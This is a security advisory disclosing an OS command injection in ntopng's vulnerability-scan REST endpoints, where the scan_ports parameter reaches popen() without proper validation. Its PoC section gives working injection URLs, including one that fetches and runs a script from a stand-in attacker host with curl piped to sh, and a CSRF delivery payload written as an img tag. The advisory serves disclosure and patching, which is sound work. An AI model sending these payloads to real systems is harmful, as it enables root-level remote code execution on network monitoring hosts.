Skip to content

Remote Code Execution via OS Command Injection in Vulnerability-Scan REST API

High
cardigliano published GHSA-2c6p-4pfj-qv58 Jul 16, 2026

Package

ntopng (Package)

Affected versions

<= 6.7.260716

Patched versions

>= 6.7.260717

Description

Summary

Two REST API endpoints that schedule an nmap-based vulnerability scan of a host build the shell command line by directly concatenating the attacker-supplied scan_ports HTTP parameter into a string that is later executed with popen(). The parameter is never validated (a registered http_lint validator, validateSingleWord, only rejects a literal space or single quote, and does not block ;, |, &, backticks, or $()). Any authenticated ntopng user including the lowest-privilege, non-administrator role, since no capability check gates this feature at all can execute arbitrary OS commands as the ntopng process user (commonly run with elevated capabilities/root for packet capture). Because the vulnerable endpoints are plain HTTP GET requests, and ntopng's CSRF-validation logic only runs for POST requests with a body, the attack is also trivially deliverable as a classic CSRF (e.g. an <img src=...> tag on any web page) against any logged-in ntopng user, without the attacker needing valid credentials of their own at all.

Details

Sink scripts/lua/modules/vulnerability_scan/vs_utils.lua:

-- vs_utils.nmap_scan_host(), ~line 2672
function vs_utils.nmap_scan_host(command, host_ip, ports, use_coroutines, module_name)
   ...
   if not is_valid_nmap_target(host_ip) then      -- only host_ip is validated
      return nil
   end
   if(string.contains(host_ip, ':')) then command = command .. " -6 " end
   if(not(isEmptyString(ports))) then command = command .. " -p " .. ports end   -- line 2687: NO validation of `ports`
   scan_command = string.format("%s %s", command, host_ip)
   local result = vs_utils.runCommand(scan_command, use_coroutines)             -- line 2694
-- vs_utils.runCommand(), ~line 2626
function vs_utils.runCommand(scan_command, use_coroutines)
   ...
   result = ntop.execCmd(scan_command)     -- or ntop.execCmdAsync(scan_command)

ntop.execCmd/ntop.execCmdAsync are bound in src/LuaEngineNtop.cpp:8184 (ntop_exec_cmd) directly to Utils::execCmd() (src/Utils.cpp:4431), whose sink is:

if ((fp = popen(cmd, "r")) != NULL) { ... }

popen() invokes /bin/sh -c <cmd>, so any shell metacharacter in cmd is interpreted.

Source two independent, unauthenticated-beyond-login entry points read scan_ports/ports straight from the query string with no validation:

  • scripts/lua/rest/v2/exec/host/schedule_vulnerability_scan.lua:16: local ports = _GET["scan_ports"]
  • scripts/lua/rest/v2/add/host/to_scan.lua:15: local scan_ports = _GET["scan_ports"]

Neither endpoint contains an isAdministrator() or auth.has_capability(...) check there is no auth.capabilities entry for the vulnerability-scan feature at all, so any logged-in account (including the most restricted "unprivileged" role) can reach it.

The only nominal defense is a registered validator, http_lint.lua:2443 (["scan_ports"] = validateSingleWord), whose implementation (http_lint.lua:312-318) only rejects strings containing a literal space or a single quote:

function validateSingleWord(s)
  return not (string.find(s, " ") or string.find(s, "'"))
end

This does not block ;, |, &, backticks, $(), <, or > all fully functional in a POSIX shell without a space, e.g. via the ${IFS} trick for whitespace.

PoC

Requires only a valid, logged-in ntopng session of any privilege level (or, via CSRF, merely getting a logged-in victim of any role to load a URL/image):

GET /lua/rest/v2/add/host/to_scan.lua?host=192.168.1.5&scan_type=tcp_portscan&scan_ports=1;$(curl${IFS}http://attacker.example/x|sh);&csrf=<any-valid-own-csrf-or-omitted-since-GET>

or

GET /lua/rest/v2/exec/host/schedule_vulnerability_scan.lua?scan_single_host=true&scan_type=tcp_portscan&host=192.168.1.5&scan_ports=1-100;touch${IFS}/tmp/pwned;

The resulting shell command executed via popen() is approximately:

nmap  -p 1;$(curl${IFS}http://attacker.example/x|sh); 192.168.1.5

udp_portscan.lua invokes nmap --privileged, so the injected command chain commonly runs with elevated privileges in typical deployments where ntopng itself runs as root for packet capture.

CSRF delivery vector (no attacker credentials needed at all): host an auto-loading <img src="https://<ntopng-host>/lua/rest/v2/add/host/to_scan.lua?host=1.2.3.4&scan_type=tcp_portscan&scan_ports=1;$(curl${IFS}attacker.example/x|sh);"> on any web page and wait for any logged-in ntopng user to view it since these endpoints are GET, ntopng's CSRF-token check (which only activates for POST requests carrying a body, see src/LuaEngine.cpp:1259) never runs.

Impact

Full remote code execution as the ntopng process user (frequently root, for capture capabilities), reachable by any authenticated account regardless of role, and independently deliverable via CSRF against any logged-in victim without the attacker needing credentials. This is the most severe finding in this audit.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits